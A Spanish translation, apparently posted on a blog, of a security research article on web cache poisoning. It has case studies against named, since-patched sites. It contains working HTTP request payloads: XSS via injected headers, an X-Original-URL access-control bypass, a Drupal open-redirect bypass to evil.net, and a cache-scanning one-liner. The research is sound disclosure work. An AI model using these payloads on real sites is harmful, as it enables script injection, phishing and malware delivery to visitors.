lunes, 27 de agosto de 2018

Envenamiento cache web practico

Entradas anteriores:

https://arthusu.blogspot.com/2018/08/aprendiendo-sobre-encabezados-cache.html
https://arthusu.blogspot.com/2018/08/ataque-enganar-al-cache-web.html


Autor del articulo: albinowax
Sitio web: https://portswigger.net/blog/practical-web-cache-poisoning




Introduccion

El envenenamiento cache web ha sido durante mucho tiempo una vulnerabilidad elusiva, una amenaza "teorica" que se usa principalmente para asustar a los desarrolladores sobre problemas de parches obedientes que nadie podria explotar realmente.

En este documento, le mostrare como poner en peligro los sitios web mediante el uso de funciones web esotéricas para convertir sus caches en sistemas de entrega de exploits, dirigidos aquellos que cometan el error de visitar su pagina principal.

Ilustrare y desarrollare esta técnica con vulnerabilidades que me dieron control sobre números sitios web y frameworks populares, pasando de simples ataques de solicitud única a intricadas cadenas de exploits que secuestran Javascript, pivotan a través de capas de cache, subvierten las redes sociales y desvían los servicios en la nube. Concluiré discutiendo la defensa contra el envenenamiento de memoria cache, y lanzando la extensión de la comunidad de fuente abierta Burp Suite que alimento esta investigación.

Conceptos basicos

Para comprender el envenenamiento cache necesitaremos echar un vistazo rápido a los fundamentos del almacenamiento en cache. Los caches web se ubican entre el usuario y el servidor de aplicaciones, donde guardan y publican copias de ciertas respuestas. En el siguiente diagrama, podemos ver tres usuarios buscando el mismo recurso uno después del otro:




El almacenamiento en cache esta destinado a acelerar las cargas de pagina al reducir la latencia y también a reducir la carga en el servidor de aplicaciones. Algunas empresas alojan su propio cache utilizando software como Varnish, y otros optan por confiar en una red de distribución de contenido (CDN) como Cloudflare, con caches repartidos por ubicaciones geograficas. Ademas, algunas aplicaciones web populares y frameworks como drupal tienen un cache integrado. También hay otros tipos de cache, como caches de navegador del lado del cliente y caches DNS, pero no son el foco de esta investigación.


Claves de cache

El concepto de almacenamiento en cache puede parecer limpio y simple, pero esconde algunas suposiciones arriesgadas. Cada vez que un cache recibe una solicitud de un recurso, debe decidir si tiene una copia de este recurso exacto ya guardado y puede responder con eso, o si necesita reenviar la solicitud al servidor de aplicaciones.

Identificar si dos solicitudes están tratando de cargar el mismo recurso puede ser complicado; requerir que las solicitudes coincidan con byte por byte es completamente ineficaz, ya que las solicitudes HTTP están llenas de datos cambiantes, como el navegador del solicitante:

GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Accept: */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://google.com/
Cookie: jessionid=xyz;

Connection: close


Los caches abordan este problema utilizando el concepto de claves de cache: algunos componentes específicos de una solicitud HTTP que se toman para identificar completamente el recurso que se solicita. En la solicitud anterior, he resaltado los valores incluidos en una clave cache típica en naranja.

Esto significa que los caches piensan que las dos solicitudes siguientes son equivalentes, y responderan felizmente a la segunda solicitud con una respuesta almacenada en cache desde la primera:

GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=pl;
Connection: close


GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=en;
Connection: close



Como resultado, la pagina sera servida en el idioma equivocado para el segundo visitante. Esto insinúa el problema: cualquier diferencia en la respuesta desencadenada por una entrada no rastreada puede almacenarse y servirse a otros usuarios. En teoría, los sitios pueden usar el encabezado de respuesta "vary" para especificar encabezados de solicitud adicionales que deben estar codificados. En la practica, el encabezdo vary solo se utiliza de forma rudimentaria, CDN como cloudflare lo ignoran por completo, y las personas ni siquiera se dan cuenta de que su aplicación admite entradas basadas en encabezados.

Esto provoca un numero grande de errores en la aplicación, pero la diversión realmente comienza cuando alguien intencionalmente se propone explotarla.

Envenenamiento de cache

El objetivo del envenenamiento de cache web es enviar una solicitud que causa una respuesta dañina que se guarda en el cache y se sirve a otros usuarios.




En este documento, vamos a envenenar los caches usando entradas no analizadas como encabezados HTTP. Esta no es la única forma de envenenar caches, también puedes usar HTTP response splitting y request smuggling, pero creo que es el mejor. Tenga en cuenta que los caches web también permiten un tipo diferente de ataque llamado Web cache deception que no debe confundirse con el envenenamiento cache.

Metodologia

Usaremos la siguiente metodología para encontrar vulnerabilidades de envenenamiento cache:



En lugar de intentar explicar esto en profundidad desde el principio, daré una descripción general rápida y luego demostrare que se aplica a sitios web reales.
El primer paso es identificar las entradas no anzalidas. Hacer esto manualmente es tedioso, así que he desarrollado una extensión de Burp suite de fuente abierta llamada Param Miner que automatiza este paso adivinando los nombres de encabezado/cookie y observando si tienen un efecto en la respuesta de la aplicación.
Después de encontrar una entrada no analizada, los siguientes pasos son para evaluar cuanto daño puedes hacer con ella, luego intenta almacenarla en el cache, Si eso falla, deberá obtener una mejor comprensión de como funciona la cache y buscar una pagina de destino almacenable en cache antes de volver a intentarlo. Si una pagina se almacena en cache se puede basar en una variedad de factores que incluyen la extensión del archivo, el tipo de contenido, la ruta, el código de estado y los encabezados de respuesta.

Las respuestas almacenadas en cache pueden enmascarar las entradas no analizadas, por lo que si intentas detectar o explorar manualmente las entradas no analizadas, un cache-buster es crucial. Si tiene Param miner cargado, puede asegurarse de que cada solicitud tenga una clave de cache única agregando un parámetro con un valor de $random a la cadena de consulta.

Al auditar un sitio web en vivo, envenenar accidentalmente a otros visitantes es un peligro perpetuo. Param Miner mitiga esto al agregar un buster de cache a todas las solicitudes de salida de Burp. Este eliminador de cache tiene un valor fijo para que pueda observar el comportamiento de almacenamiento en cache sin que afecte a otros usuarios.

Casos de estudio

Echemos un vistazo a lo que ocurre cuando la metodología se aplica a sitios web reales. Como de costumbre, me he centrado exclusivamente en sitios con políticas de seguridad favorables para los investigadores. Todas las vulnerabilidades aquí discutidas han sido reportadas y parcheadas aunque debido a programas 'privados' me he visto obligado a redactar algunas.

La respuesta de mis objetivos fue mixta, la única que paro todo rápidamente y se recompenso bien fue mozilla, y otros incluidos como data.gov y Ghost no hicieron nada durante meses y solo corrigieron debido a la amenazada de una publicación inminente.

Muchos de estos casos de estudio explotan vulnerabilidades secundarias como XSS en la entrada no analizada, y es importante recordar que sin envenenamiento cache, tales vulnerabilidades son inútiles ya que no existe una manera confiable de obligar a otro usuario a enviar un encabezado personalizado en una solicitud entre dominios. Esa es probablemente la razón por la que fueron tan fáciles de encontrar.


Envenamiento basico

A pesar de su temible reputación, el envenenamiento de cache es a menudo muy fácil de explotar. Para comenzar, echemos un vistazo a la pagina principal de Red Hat. Param Miner detecto de inmediato una entrada no registrada:

GET /en?cb=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: canary

HTTP/1.1 200 OK
Cache-Control: public, no-cache


<meta property="og:image" content="https://canary/cms/social.png" />

Aqui podemos ver que el encabezado X-Forwarded-Host ha sido utilizado por la aplicación para generar una URL Open Graph dentro de una meta etiqueta. El siguiente paso es explorar si es explotable, comenzaremos con una simple carga de XSS:

GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."><script>alert(1)</script>

HTTP/1.1 200 OK
Cache-Control: public, no-cache


<meta property="og:image" content="https://a."><script>alert(1)</script>"/>

Se ve bien, acabamos de confirmar que podemos causar una respuesta que ejecutara javascript arbitrario contra quien lo mire. El ultimo paso es verificar si esta respuesta se ha almacenado en un cache para que se entregue a otros usuarios. No permita que el encabezado 'cache-control:no-cache' lo disuada, siempre es mejor intentar un ataque que suponer que no funcionara. Puede verificar primero reenviando la solicitud sin el encabezado malicioso y luego obteniendo la URL directamente en un navegador en una maquina diferente:

GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com

HTTP/1.1 200 OK


<meta property="og:image" content="https://a."><script>alert(1)</script>"/>

Eso fue fácil. Aunque la respuesta no tiene ningún encabezado que sugiera la presencia de un cache, nuestro exploit ha sido claramente almacenado en cache. Una búsqueda rápida de DNS ofrece una explicación: www.redhat.com es un CNAME para www.redhat.com.edgekey.net, que indica que esta utilizando el CDN de Akamai.


Envenenamiento discreto

En este punto, hemos comprobado que el ataque es posible al envenenar https://www.redhat.com/en?dontpoisoneveryone=1 para evitar afectar a los visitantes reales del sitio con el fin de realmente envenenar la pagina de inicio del blog y entregar nuestro exploit a todos los visitantes posteriores, tendríamos que asegurarnos de que enviamos la primera solicitud a la pagina de inicio después de que expiro la respuesta en cache.

Esto podría intentarse utilizando una herramienta como Burp intruder o una secuencia de comandos personalizada para enviar una gran cantidad de solicitudes, pero ese enfoque de trafico pesado no es muy sutil. Un atacante podría evitar este problema mediante la ingieneria inversa del sistema de cache del objetivo y la predicción de los tiempos de caducidad exactos mediante la revisión de la documentación y el seguimiento del sitio a lo largo del tiempo, pero eso suena claramente como un trabajo duro. Afortunadamente, muchos sitios web nos hacen la vida mas fácil. Tome esta vulnerabilidad de envenenamiento de cache en unity3d.com:

GET / HTTP/1.1
Host: unity3d.com
X-Host: portswigger-labs.net

HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800


<script src="https://portswigger-labs.net/sites/files/foo.js"></script>

Tenemos una entrada no utilizada, el encabezado X-Host, que se usa para generar una importación de script. Los encabezados de respuesta 'age' y 'max-age' especifican respectivamente la antigüedad de la respuesta actual y la edad a la que caducara. Tomados en conjunto, estos nos dicen el momento preciso en que deberíamos enviar nuestra payload para asegurarnos de que nuestra respuesta sea almacenada en cache.

Envenenamiento selectivo

Los encabezados HTTP pueden proporcionar otros conocimientos que ahorran tiempo en el funcionamiento interno de las memorias cache. Tome el siguiente sitio web conocido, que esta usando Fastly y lamentablemente no se puede nombrar:

GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 … Firefox/60.0
X-Forwarded-Host: a"><iframe onload=alert(1)>

HTTP/1.1 200 OK
X-Served-By: cache-lhr6335-LHR
Vary: User-Agent, Accept-Encoding

<link rel="canonical" href="https://a">a<iframe onload=alert(1)>

</iframe> 

Esto inicialmente parece casi idéntico al primer ejemplo. Sin embargo, el encabezado Vary nos dice que nuestro user-agent puede ser parte de la clave de cache, y las pruebas manuales lo confirman. Esto significa que, debido a que afirmamos estar utilizando Firefox 60, nuestro exploit solo se ofrecerá a otros usuarios de Firefox 60. Podríamos utilizar una lista de agentes de usuarios populares para garantizar que la mayoría de los visitantes reciban nuestro exploit, pero este comportamiento nos ha dado la opción de ataques mas selectivos. Siempre que conozca a su agente de usuario (navegador web), podría personalizar el ataque para dirigirse a una persona en especifica, o incluso ocultarse del equipo de monitoreo del sitio web.

Envenenamiento DOM

La explotación de entrada no analizada no siempre es tan fácil como pegar un payload XSS. tome la siguiente solicitud:

GET /dataset HTTP/1.1
Host: catalog.data.gov
X-Forwarded-Host: canary

HTTP/1.1 200 OK
Age: 32707
X-Cache: Hit from cloudfront 


<body data-site-root="https://canary/">

Tenemos el control de atributo 'data-site-root' pero no podemos abrir para obtener XSS y aun no esta claro para que se usa este atributo. Para averiguarlo, cree una regla de coincidencia y reemplazo en Burp para agregar un encabezado 'X-Forwarded-Host: id.burpcollaborator.net' a todas las solicitudes, luego busque en el sitio. Cuando se cargaron ciertas paginas, Firefox envió una solicitud generada por javascript a mi servidor:

GET /api/i18n/en HTTP/1.1

Host: id.burpcollaborator.net

La ruta sigue que en algún lugar del sitio web, hay un código javascript que usa el atributo de data-site-root para decidir desde donde cargar algunos datos de internacionalización. Intente descubrir como deberían ser estos datos obteniendo https://catalog.data.gov/api/i18n/en, pero simplemente recibí una respuesta JSON vacía. Afortunadamente, cambiar 'en' por 'es' dio una pista:

GET /api/i18n/es HTTP/1.1
Host: catalog.data.gov

HTTP/1.1 200 OK


{"Show more":"Mostrar más"}

El archivo contiene un mapa para traducir frases en el idioma seleccionado del usuario. Al crear nuestro propio archivo de traducción y usar el envenenamiento cache para dirigir a los usuarios hacia eso, podemos traducir frases en exploits:

GET  /api/i18n/en HTTP/1.1
Host: portswigger-labs.net

HTTP/1.1 200 OK
...

{"Show more":"<svg onload=alert(1)>"}

¿El final resulto? Cualquiera que vea una pagina que contenga el texto 'Mostrar mas' sera explotado.

Secuestro de Mozilla SHIELD

La regla de coincidencia / reemplazo 'X-Forwarded-For' que configure para ayudar con la ultima vulnerabilidad tuvo un efecto secundario inesperado. Ademas de las interacciones de catalog.data.gov, recibí algunas que eran claramente misteriosas:

GET /api/v1/recipe/signed/ HTTP/1.1
Host: xyz.burpcollaborator.net
User-Agent: Mozilla/5.0 … Firefox/57.0
Accept: application/json
origin: null

X-Forwarded-Host: xyz.burpcollaborator.net

El origin:null es bastante raro en si mismo nunca antes había visto un navegador emitir un encabezado origen completamente en minúscula. Al examinar los registros del historial de proxy, se descubrió que el culpable era firefox. Firefox había intentado buscar una lista de 'instrucciones' como parte de su sistema SHIELD para instalar silenciosamente extensiones con fines de marketing e investigación. Este sistema es probablemente mas conocido por la distribución forzada de una extensión de 'Mr Robot', que causa una considerable reacción de los consumidores.
De todos modos, parecía que el encabezado de X-Forwarded-Host había engañado a este sistema para que dirigiera Firefox a mi propio sitio web a fin de obtener instrucciones:

GET /api/v1/ HTTP/1.1
Host: normandy.cdn.mozilla.net
X-Forwarded-Host: xyz.burpcollaborator.net

HTTP/1.1 200 OK
{
  "action-list": "https://xyz.burpcollaborator.net/api/v1/action/",
  "action-signed": "https://xyz.burpcollaborator.net/api/v1/action/signed/",
  "recipe-list": "https://xyz.burpcollaborator.net/api/v1/recipe/",
  "recipe-signed": "https://xyz.burpcollaborator.net/api/v1/recipe/signed/",
   …

}

Las instrucciones se ven algo asi como:

[{
  "id": 403,
  "last_updated": "2017-12-15T02:05:13.006390Z",
  "name": "Looking Glass (take 2)",
  "action": "opt-out-study",
  "addonUrl": "https://normandy.amazonaws.com/ext/pug.mrrobotshield1.0.4-signed.xpi",
  "filter_expression": "normandy.country in  ['US', 'CA']\n && normandy.version >= '57.0'\n)",
  "description": "MY REALITY IS JUST DIFFERENT THAN YOURS",

}]

El sistema estaba usando NGINX para el almacenamiento en cache, que naturalmente estaba feliz de guardar mi respuesta envenenada y servirla a otros usuarios. Firefox recupera esta URL poco después de que se abra el navegador y también la reutiliza periódicamente, lo que significa que todas las decenas de miles de usuarios diarios de Firefox podrían terminar recuperando instrucciones de mi sitio web.

Esta ofrecio bastantes posibilidades. Las instrucciones utilizadas por Firefox fueron firmadas, así que no pude simplemente instalar un complemento malicioso y obtener la ejecución del código completo, pero pude dirigir a decenas de millones de usuarios genuinos a una URL de mi elección. Ademas del obvio DDoS, esto seria extremadamente grave si se combina con una vulnerabilidad de corrupción de memoria apropiada. Ademas, algunos sistemas back-end de Mozilla usan instrucciones sin firmar, que podrían usarse para obtener un punto de apoyo dentro de su infraestructura y quizás obtener la clave de firma de la instrucción. Ademas, pude reproducir instrucciones antiguas de mi elección que potencialmente podrían forzar la instalación masiva de una antigua extorsiona vulnerable conocida, o el regreso inesperado de Mr Robot.

Informe esto a Mozilla y remendaron su infraestructura en menos de 24 horas, pero hubo un desacuerdo sobre la gravedad por lo que solo se recompenso con una recompensa de $1,000.

Envenenamiento de la ruta

Algunas aplicaciones van mas allá de usar tontamente los encabezados para generar URL, y tontamente para generar URL, y tontamente los usan para el enrutamiento de solicitudes internas:

GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Server: canary

HTTP/1.1 404 Not Found
CF-Cache-Status: MISS

<title>HubSpot - Page not found</title>

<p>The domain canary does not exist in our system.</p>

Goodhire.com esta evidentemente alojado en HubSpot, y HubSpot esta dando prioridad al encabezado X-Forwarded-Server sobre el encabezado Host y confundiendose sobre a que cliente esta destinada esta solicitud. Aunque nuestra entrada se refleja en la pagina, esta codificada en HTML, por lo que un ataque directo XSS no funciona aqui. Para explotar esto, tenemos que ir a hubspot.com, registrarnos como cliente de HubSpot, colocar un payload en nuestra pagina de HubSpot, y finalmente engañar a HubSpot para que sirva esta respuesta en goodhire.com:

GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Host: portswigger-labs-4223616.hs-sites.com

HTTP/1.1 200 OK


<script>alert(document.domain)</script>


Cloudflare guardo felizmente esta respuesta y la sirvió a los visitantes siguientes. Inflection transmitió este informe a HubSpot, que pareció intentar resolver el problema al prohibir permanentemente mi dirección IP. Un tiempo después, la vulnerabilidad fue parchada. Después de la publicación de esta publicación, HubSpot se comunico para comunicarles que nunca recibieron el informe de Inflection (por lo que tanto la prohibición de IP como el parche fueron medidas estándar de defensa y endurecimiento)y habría tenido una mejor experiencia si hubiera contactado a su propio programa de divulgacion directamente. Si nada mas esto sirve para resaltar los peligros de reportar vulnerabilidades a través de terceros.

Las vulnerabilidades de enrutamiento interno como este son particularmente comunes en las aplicaciones Saas donde hay un unico sistema que maneja las solicitudes destinadas a muchos clientes diferentes.

Envenenamiento de ruta oculta

Las vulnerabilidades de envenenamiento de rutas no siempre son tan obvias:

GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: canary

HTTP/1.1 302 Found

Location: https://ghost.org/fail/ 

El blog de Cloudflare esta alojado por Ghost, que claramente esta haciendo algo con el encabezado X-Forwarded-Host. Puede evitar el redireccionamiento 'fail' especificando otro nombre de un host reconocido como blog.binary.com, pero esto simplemente resulta en un misterioso retraso de 10 segundos seguido de la respuesta estandar de blog.cloudflare.com. A primera vista, no hay una forma clara de explotar esto.
Cuando un usuario primero registra un blog con Ghost, le emite con un subdominio unico de ghost.io. Una vez que un blog esta en funcionamiento, el usuario puede definir un dominio personalizado arbitrario como blog.cloudflare.com. Si un usuario ha definido un dominio personalizado, su subdominio ghost.io simplemente lo redigira a el:

GET / HTTP/1.1
Host: noshandnibble.ghost.io

HTTP/1.1 302 Found

Location: http://noshandnibble.blog/

Fundamentalmente, esta redireccion tambien se puede desencadenar utilizando el encabezado X-Forwarded-Host:

GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: noshandnibble.ghost.io

HTTP/1.1 302 Found

Location: http://noshandnibble.blog/

Al registrar mi propia cuenta de ghost.org y configurar un dominio personalizado, pude redirigir las solicitudes enviadas a blog.cloudflare.com a mi propio sitio: waf.party. Esto significa que podia secuestrar cargas de recursos como imagenes:



El siguiente paso lógico de redirigir una carga de Javascript para obtener el control total de blog.cloudflare.com se vio frustrado por una peculiaridad: si miras detenidamente la redireccion, veras que usa HTTP mientras que el blog se carga a traves de HTTPS. Esto significa que las protecciones de contenido mixto de los navegadores patean y bloquean las redirecciones de scripts / hojas de estilos css.

No pude encontrar ninguna forma técnica para hacer que Ghost emitiera un redireccionamiento HTTPS, y tuve la tentación de abandonar mis escrupulos y reportar el uso de HTTP en lugar de HTTPS a Ghost como una vulnerabilidad con la esperanza de que me lo arreglaran. Eventualmente, decidí utilizar una solución colectiva haciendo una replica del problema y colocarlo en hackxor con un premio en efectivo adjunto. La primera solución fue encontrada por Sajjad Hashemian, quien descubrió que en safari si waf.party estaba en la memoria cache HSTS del navegador, la redireccion se actualizaría automáticamente HTTPS en lugar de bloquearse. Sam Thomas siguió con una solución para Edge, basada en el trabajo de Manuel Caballero: la emisión de un redireccionamiento 302 a una URL HTTPS omite por completo la protección de contenido mixto de Edge.

En total, contra los usuarios de Safari y Edge podría comprometer completamente todas las paginas en blog.cloudflare.com, blog.binary.com y cualquier otro cliente de ghost.org. Contra los usuario de Chrome / Firefox, simplemente podía secuestrar imágenes. Aunque use cloudflare para la captura de pantalla anterior, ya que esto era un problema en un sistema de terceros elijo informarlo a través de Binary por que su programa de recompensas de errores paga en efectivo, a diferencia de Cloudflare.

Encadenamiento de entradas sin analizar

A veces, una entrada no analizada solo confundirá parte de la pila de la aplicación, y deberá encadenar otras entradas no procesadas para lograr un resultado aprovechable. Tome el siguiente sitio:

GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: xyz

HTTP/1.1 200 OK

Set-Cookie: locale=en; domain=xyz


El encabezado X-Forwarded-Host anula el dominio en la cookie, pero ninguna de las URL generadas en el resto de la respuesta. Por si solo esto es inútil. Sin embargo, hay otra entrada no revisada:


GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Scheme: nothttps

HTTP/1.1 301 Moved Permanently

Location: https://redacted.net/en


Esta entrada también es inutil, pero si combinamos los dos podemos convertir la respuesta en una redireccion a un dominio arbitrario:


GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nothttps

HTTP/1.1 301 Moved Permanently

Location: https://attacker.com/en 

Usando esta técnica fue posible robar tokens CSRF de un encabezado HTTP personalizado al redirigir una solicitud POST. También podría obtener XSS basado en DOM almacenados con una respuesta maliciosa a una carga JSON, similar al exploit data.gov mencionado anteriormente.

Open Graphic Hijacking

En otro sitio, la entrada deshabilitada afecta exclusivamente a las URL Open Graph:

GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com

HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-revalidate


<meta property="og:url" content='https://attacker.com/en'/>

Open Graph es un protocolo creado por Facebook para permitir que los propietarios de sitios web dicten que ocurre cuando su contenido se comparte en las redes sociales. El parámetro og:url que hemos secuestrado aquí anula de hecho la URL que se comparte, por lo que cualquier persona que comparta la pagina envenenada en realidad termina compartiendo contenido de nuestra elección.

Como habrás notado, la aplicacion establece 'Cache-control: private' y Cloudflare se niega a almacenar dichas respuestas en cache. Afortunadamente, otras paginas en el sitio explicitamente permiten el almacenamiento en cache:

GET /popularPage HTTP/1.1
Host: redacted.net
X-Forwarded-Host: evil.com

HTTP/1.1 200 OK
Cache-Control: public, max-age=14400
Set-Cookie: session_id=942…

CF-Cache-Status: MISS


El encabezado 'CF-Cache-Status' aquí es un indicador de que Cloudflare esta considerando el almacenamiento en cache de esta respuesta pero a pesar de esto, la respuesta nunca fue realmente almacenada en cache. Especule que la negativa de Cloudflare a almacenar en cache esto podría estar relacionada con la cookie session_id, y reintentar con esa cookie presente:

GET /popularPage HTTP/1.1
Host: redacted.net
Cookie: session_id=942…;
X-Forwarded-Host: attacker.com

HTTP/1.1 200 OK
Cache-Control: public, max-age=14400
CF-Cache-Status: HIT

<meta property="og:url" 

content='https://attacker.com/


Finalmente obtuve la respuesta en cache, aunque mas tarde resulto que podría haberme salteado las suposiciones y haber leído la documentacion de cache de cloudflare.

A pesar de que la respuesta se almaceno en la memoria cache, el resultado  'compartir' aun no se había contaminado; Facebook evidentemente no esta golpeando el cache Cloudflare particular que había envenenado. Para identificar que cache necesitaba envenenar, aproveche una función de depuración útil presente en todos los sitios de cloudflare - /cdn-cgi/trace:





Aqui, en la linea colo = AMS muestra que Facebook ha accedido a waf.party a través de un cache de amsterdam. Se accedió al sitio web de destino a través de Atlanta así que alquile un VPS de $2/ mes allí e intente nuevamente el envenenamiento.



Despues de esto, cualquiera que intente compartir varias paginas en su sitio terminaria compartiendo contenido de mi elección. Aquí hay un video redactado del ataque:

https://portswigger.net/cms/videos/49/7c/9ace115de5b2-opengraph.mp4

Envenenamiento de ruta local

Hasta ahora hemos visto un secuestro de lenguaje basado en cookies, una plaga de ataques que usan varios encabezados anulan al host. En este punto de la investigación, también encontré algunas variaciones utilizando extraños encabezados no estandar como 'translate', 'bucket' y 'path_info', y sospeche que me faltaban muchos otros. Mi siguiente gran avance vino después de expandir la lista de palabras del encabezado descargando y recorriendo los mejores 20,000 proyectos de PHP en GitHub para nombres de encabezados.

Esto revelo que los encabezados X-Original-URL y X-Rewrite-URL que anulan la ruta de la solicitud. Note por primera vez que afectaban a los objetivos que ejecutaban Drupal, y al buscar el código de Drupal, descubrí que el soporte para este encabezado proviene del popular framework PHP Symfony, que a su vez tomo el código de Zend. El resultado final es que una gran cantidad de aplicaciones PHP apoyan inconscientemente estos encabezados.
Antes de intentar usar estos encabezados para el envenenamiento de la memoria cache, debo señalar que también son excelentes para eludir los WAF y las reglas de seguridad:

GET /admin HTTP/1.1
Host: unity.com


HTTP/1.1 403 Forbidden
...

Access is denied


GET /anything HTTP/1.1
Host: unity.com
X-Original-URL: /admin

HTTP/1.1 200 OK
...

Please log in

Si una aplicacion utiliza un cache, se puede abusar de estos encabezados para confundirlo y servir paginas incorrectas. Por ejemplo, esta solicitud tiene una clave de cache /education?x=y pero recupera contenido de /gambling?x=y:


El resultado final es que después de enviar esta solicitud, cualquiera que intente acceder a la pagina de Unity for education reciba una respuesta:


La capacidad de intercambiar paginas es mas entretenida que seria, pero quizas tenga un lugar en una cadena de exploits mas grande.

Envenenamiento por cache interna

Drupal se usa a menudo con caches de terceros como Varnish, pero también contiene un cache interno que esta habilitado de forma predeterminada. Este cache conoce el encabezado X-Original-URL y lo incluye en su clave de cache, pero comete el error de incluir también la cadena de consulta de este encabezado:


Mientras que el ataque anterior nos permitió reemplazar una ruta con otra, esta nos permite anular la cadena de consulta:

GET /search/node?keys=kittens HTTP/1.1

HTTP/1.1 200 OK


Search results for 'snuff'

Esto es mas prometedor, pero aun es bastante limitado, necesitamos un tercer ingrediente.

Drupal Open Redirect

Mientras leía el código de anulación de URL de Drupal, note una característica extremadamente arriesgada: en todas las respuestas de redireccionamiento, puede anular el objetivo de redireccionamiento utilizando el parámetro de consulta 'destination'. Drupal intenta analizar algunos URL para asegurarse de que no se redireccionara a un dominio externo, pero esto es predeciblemente fácil de eludir:

GET //?destination=https://evil.net\@unity.com/ HTTP/1.1
Host: unity.com

HTTP/1.1 302 Found

Location: https://evil.net\@unity.com/

Drupal ve la barra doble // en la ruta e intenta emitir una redireccion hacia / para normalizarla, pero luego el parámetro de destination entra en acción. Drupal cree que la URL de destino le esta diciendo a las personas que accedan a unity.com con el nombre de usuario 'evil.net\' pero en la practica los navegadores web convierten automáticamente \ a /, los usuarios de aterrizan en evil.net/@unity.com.

Una vez mas, por si solo una dirección abierta no es muy emocionante, pero ahora finalmente tenemos todos los componentes básicos para una explotación seria.

Persistente redirigir el secuestro

Podemos combinar el ataque de anulación de parámetro con el de redireccionamiento abierto para secuestrar persistentemente cualquier redireccion. Algunas paginas del sitio web de negocios de Pinterest importan Javascript a través de un redireccionamiento. La siguiente solicitud envenena la entrada de cache que se muestra en azul con el parámetro que se muestra en naranja:

GET /?destination=https://evil.net\@business.pinterest.com/ HTTP/1.1
Host: business.pinterest.com

X-Original-URL: /foo.js?v=1

Esto secuestra el destino de la importación de Javascript, dándome el control total de varias paginas en business.pinterest.com que se supone que son estaticas:


GET /foo.js?v=1 HTTP/1.1

HTTP/1.1 302 Found

Location: https://evil.net\@unity.com/

Envenenamiento cache anidado

Otros sitios de Drupal son menos atentos y no importan ningún recurso importante a través de redireccionamientos. Afortunadamente, si el sitio utiliza un cache externo (como prácticamente todos los sitios Drupal de alto trafico) podemos usar el cache interno para envenenar el cache externo, y en el proceso convertir cualquier respuesta en una redireccion. Este es un ataque en dos etapas. Primero, envenenamos el cache interno para reemplazar / redirigir con nuestra redireccion maliciosa:


GET /?destination=https://evil.net\@store.unity.com/ HTTP/1.1
Host: store.unity.com

X-Original-URL: /redir

A continuacion, envenenamos el cache externo para reemplazar /download?v=1 con nuestro envenenado /redir:

GET /download?v=1 HTTP/1.1
Host: store.unity.com

X-Original-URL: /redir

El resultado final es que al hacer clic en 'Descargar instalador' en unity.com se descargaría malware oportunista de evil.net. Esta técnica también podría usarse para una gran cantidad de otros ataques, incluida la inserción de entradas falsificadas en los canales RSS, el reemplazo de las paginas de inicio de sesión con paginas de phishing y el XSS almacenado a través de las importaciones dinámicas de scripts.

Aqui hay un video de unos de esos ataques en una instalacion Drupal estandar:

https://portswigger.net/cms/videos/5b/fe/e952b9f0eb55-drupaldemo.mp4

Esta vulnerabilidad se dio a conocer a los equipos de Drupal, Symfony y Zend en 2018-05-29, y el soporte para estos encabezados se inhabilito mediante un lanzamiento de parche coordinado en 2018-08-01 con las siguientes referencias: SA-CORE-2018-005, CVE-2018-14773, ZF2018-01.

Envenenamiento Cross-Cloud

Como probablemente podría haber adivinado, algunos de estos informes de vulnerabilidad generaron reacciones y respuestas interesantes.

Un disparo, al anotar mi presentacion mediante CVSS, dio a un informe de envenenamiento de cache CloudFront una complejidad de acceso "alta" por que un atacante podría necesitar alquilar varios VPS para envenenar todos los caches de CloudFront. Resistiendo la tentación de discutir sobre lo que constituye una "alta" complejidad, tome esto como una oportunidad para explorar si los ataques entre regiones son posibles sin depender de los VPS.

Resulto que CloudFront tiene un mapa util de sus caches, y sus direcciones IP se pueden identificar fácilmente utilizando servicios gratuitos en linea que emiten búsquedas DNS desde una variedad de ubicaciones geográficas. Envenenar una región especifica desde la comidad de su habitación es tan simple como enrutar su ataque a una de estas direcciones IP utilizando las funciones de anulación de nombre de host de curl/Burp.

Como Cloudflare tiene aun mas caches regionales, decidí echarles un vistazo también. Cloudflare publica una lista de todas sus direcciones IP en linea, asi que escribí un guion rápido para solicitar waf.party/cdn-cgi/trace a través de cada una de estas direcciones IP y registrar que cache acierto:

curl https://www.cloudflare.com/ips-v4 | sudo zmap -p80| zgrab --port 80 --data traceReq | fgrep visit_scheme | jq -c '[.ip , .data.read]' cf80scheme | sed -E 's/\["([0-9.]*)".*colo=([A-Z]+).*/\1 \2/' | awk -F " " '!x[$2]++'


Esto demostro que al apuntar a waf.party (que esta lojado en Irlanda) podriamos acceder a los siguientes caches desde mi casa en Manchester:

104.28.19.112 LHR    172.64.13.163 EWR    198.41.212.78 AMS
172.64.47.124 DME    172.64.32.99 SIN     108.162.253.199 MSP

172.64.9.230 IAD     198.41.238.27 AKL    162.158.145.197 YVR

Defensa

La defensa mas robusta contra el envenenamiento de cache es desactivar el almacenamiento en cache. Este es un consejo claramente irreal para algunos, pero sospecho que bastantes sitios web comienzan a usar un servicio como Cloudflare para protección DDoS o SSL sencillo, y terminan siendo vulnerables al envenenamiento de cache simplemente por que el almacenamiento en cache esta habilitado por defecto.

